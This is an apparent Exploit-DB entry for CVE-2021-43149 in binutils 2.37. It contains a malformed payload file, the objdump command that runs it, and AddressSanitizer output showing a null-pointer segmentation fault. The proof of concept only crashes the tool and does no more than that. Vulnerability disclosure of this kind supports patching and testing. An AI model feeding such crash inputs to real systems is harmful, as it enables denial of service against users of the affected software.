binutils 2.37 - Objdump Segmentation Fault

EDB-ID:

50858




Platform:

Linux

Date:

2022-04-07


# Exploit Title: binutils 2.37 - Objdump Segmentation Fault
# Date: 2021-11-03
# Exploit Author: p3tryx
# Vendor Homepage: https://www.gnu.org/software/binutils/
# Version: binutils 2.37
# Tested on: Ubuntu 18.04
# CVE : CVE-2021-43149

Payload file

```

%223"\972\00\0083=Q333A111111114111113333<33A $$$\FF)$\80 1114
\00\80\99\00111111111111111-11111111111111111111111111111111111'111111111111111111
111111*111111111111111111111111111111111111111111111111111111111111111111111111111*111111111111111111111111
 $%22622FF7FFF11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111
1))\FF)$1 1111
 $%22111111111111111111111111111111111.1111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111101111111111111111111111111111111111111111111111111111111111111111111111111111622FF
\00\00\00FFFFFFFFFFFFFFFFFFFFF222CFFFFFF    \81       \8D  1111
 $%22622FF7FFFFFFFFF111111111111111111111111111111111111111111111111111111q1111111111111111111111111111111111111
1))\FF)$1 1111
 $%22622FFFFFDFFFFFFFFFFFFFFFFFFFFF222CFFFFFF    \81       \8D  1111
 $%22622FF7FFFFFFFFF11111111111111111,1FF\83   \81       \8D  1111
 $%22622FF7FFFFFFFFFFFFFFF  \FF

 \00\80\99\00 1))\FF)$\80 1114
\00\80\99\0011111111111111)111111111111111111111111111111111111111111111111111111
1))\FF)$1 1111
 $%22622FFFFFFFFFFFFFFFFFFFFFFFFFFF222CFFFFFF    \81     { \8D  1111
 $%22622FF7FFFFFFFFF11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111
1))\FF)$1 1111
 $%2262211111111111111111111111111111111111111111111\00\00
\00111111111111111111111111111111111111111111111FFFFFFFFFFFFFFFFFFFFFFFFFFF222CFFFFFF
   \81       \8D   111
 $%22622FFF1111111111111111111FF\83))\FF)$1 1111
 $%22622FFFFFFFFFFFFFFFFFFFFFFFFFFF2E2CF9FFFF \98  \81       \8D  1111
 $%22622FF7FFFFFFFFF1111111111111111111111111111111111111111111111111111111111111111111111111111
1))\FF)$1 1111
 $%22622FFFFFFFFFFFFFFFFFFFFFFFFFFF222CFFFFFF    \81       \8D  1111
 $%22622FF7FFFFFFFFF1111111111111111111FF\83   \81       \8D  1111
 $%22622FF7FFFFFFFFFFFFFFF  \FF

 \00\80\99  1))\FF)$\80 1114
\00\80\99\00111111111111111111111111111111111111111111111111111'111111111111111111
1111111111111111111111111111111>11111111111d\00\00\00111111111111111111
111111111111111111111111111111111111111111111111111*111111111111111111111111.1111111111111111111111111111111;111011111111111111111111111111111111111111111111111111\EA111111111111111
 $%22622FF7FFF111111111111111111111111111111111111111111111111111111111111111111111111111111111111.1111111111111111111111$1
1111
 $%22622FFFFFFF1111111111111111111111111111\BF\BF\BF\BF\BF\BF1111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111!11111111111111'111111111111111111
111111111111@111111111111111111d\001111
\0011111111111111111111111111111111111111111111111*1111111111111111111111111111111111111111111111111111111111110111111111151111111111111111111111111111111111111111111111111111)111111111111111111111111111F111111111111111111111111
1111111FFFFFFFFFFLFFFFFFF11111111 111111111111111111111111111111111
 $%22622FF7FFF111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111P1111111111111111111111111111111111111111111111111111111111111111111111111111111111.11111111111111111111111111111111111111N1111111111111111111111111111111111111111111111111
1111111111111111111111111111\FF\FF1111111117111111111111111111111111111111111))\FF)$11111111111111111111111111111111111111111111111111111111111111111111111111*111111111111111111111111111111111111111111111111111111111111@1111111111111111111111111111111111111111111111111111\00\00
\0011111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111M111111R111111111111
111111111111 111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111
1))\FF)$1 1I11
 $%22622FFFFFF1FFFFFFFFFFFFFFFFFFFF222CFFFFFF    \81       \8D  1111
 $%22622FF7FFFFFFFFF111111111111
111111111111111111111111111111111111111111111 1))\FF)$1 1111
 $%22622FFFFFFFFFFFFFFFFFFFFFFFFFFF$%22622FFFFFFFFFFFFFMFFFFFFFFFFFFF222CFFFFFF
   \81       \8D  1111
 $%22622FF7FFFFFFFFF11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111FFFFFF
 \FF

 \00\80\99\00 1))\FF)$\80 1111 \00\80\99\00a1))\FF)$1 1J11
 $%22@22FF11111FFFFFFFFFFFFFF222$)$

```

RUN the POC

# binutils-2.37/binutils/objdump -T -D -x crash_2.37
ASAN:SIGSEGV
=================================================================
==27705==ERROR: AddressSanitizer: SEGV on unknown address
0x000000000000 (pc 0x000000000000 bp 0x7fffffffdee0 sp 0x7fffffffde38
T0)
==27705==Hint: pc points to the zero page.

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV ??:0 ??
==27705==ABORTING